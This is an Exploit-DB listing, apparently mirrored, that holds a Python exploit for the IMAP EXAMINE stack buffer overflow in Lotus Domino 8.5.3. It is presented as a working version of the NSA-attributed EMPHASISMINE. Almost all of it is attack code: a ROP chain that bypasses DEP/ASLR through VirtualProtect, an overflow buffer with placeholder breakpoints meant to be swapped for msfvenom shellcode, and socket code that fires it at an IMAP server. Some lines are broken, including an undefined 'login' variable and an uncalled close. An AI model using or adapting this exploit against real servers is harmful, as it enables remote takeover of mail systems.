Lotus Domino 8.5.3 – ‘EXAMINE’ Stack Buffer Overflow DEP/ASLR Bypass (NSA’s EMPHASISMINE)

Exploit Database
106 阅读

作者： Charles Truscott

日期： 2019-05-08
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/46808/

##########################################################

# #

# Here is a working version of the NSA's EMPHASISMINE #

# for IMAP Server Lotus Domino 8.5.3 FP0 #

#DEP/ASLR bypass #

# #

# Replace breakpoints with msfvenom payload #

# (ALPHANUMERIC) #

# I love you Alison Thompson OAM @ThirdWaveORG#

# Author: Charles Truscott @r0ss1n1 #

# #

###########################################################

import base64

import struct

import socket

import time

rop_and_roll = struct.pack('<I', 0x00433212)# POP ECX # RETN [nIMAP.EXE]

rop_and_roll += struct.pack('<I', 0x41414141)# Filler

rop_and_roll += struct.pack('<I', 0x7c37a140)# ptr to &VirtualProtect() [IAT MSVCR71.dll]

rop_and_roll += struct.pack('<I', 0x60609925)# MOV EAX,DWORD PTR DS:[ECX] # RETN [nnotes.dll]

rop_and_roll += struct.pack('<I', 0x60b79a61)# XCHG EAX,ESI # RETN [nnotes.dll]

rop_and_roll += struct.pack('<I', 0x62450fc4)# POP EBP # RETN [NLSCCSTR.DLL]

rop_and_roll += struct.pack('<I', 0x7c345c30)# & push esp # ret[MSVCR71.dll]

rop_and_roll += struct.pack('<I', 0x60165ba9)# POP EBX # RETN [nnotes.dll]

rop_and_roll += struct.pack('<I', 0x00000001)# 0x00000001-> ebx

rop_and_roll += struct.pack('<I', 0x6020962e)# POP EDX # RETN [nnotes.dll]

rop_and_roll += struct.pack('<I', 0x00001000)# 0x00001000-> edx

rop_and_roll += struct.pack('<I', 0x60e81a98)# POP ECX # RETN [nnotes.dll]

rop_and_roll += struct.pack('<I', 0x00000040)# 0x00000040-> ecx

rop_and_roll += struct.pack('<I', 0x606609f9)# POP EDI # RETN [nnotes.dll]

rop_and_roll += struct.pack('<I', 0x62136802)# RETN (ROP NOP) [nxmlproc.dll]

rop_and_roll += struct.pack('<I', 0x0042ba51)# POP EAX # RETN [nIMAP.EXE]

rop_and_roll += struct.pack('<I', 0x90909090)# nop

rop_and_roll += struct.pack('<I', 0x60505637)# PUSHAD # RETN [nnotes.dll]

username = "user"

password = "pass"

payload = "\x90" * 556 + rop_and_roll + "\x90" * 20 + "\xCC" * (1500 - 556 - len(rop_and_roll) - 20)

encoded = base64.b64encode(payload)

crash = ". EXAMINE " + "&" + encoded + "\x0d\x0a"

print crash

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

expl.connect(('172.16.65.128', 143))

time.sleep(3)

connectionresponse = expl.recv(1024)

print str(connectionresponse)

print "sending LOGIN request"

expl.send(login)

loginresponse = expl.recv(1024)

print str(loginresponse)

print "sending EXAMINE request"

print crash

expl.send(crash)

crashresponse = expl.recv(1024)

print str(crashresponse)

expl.close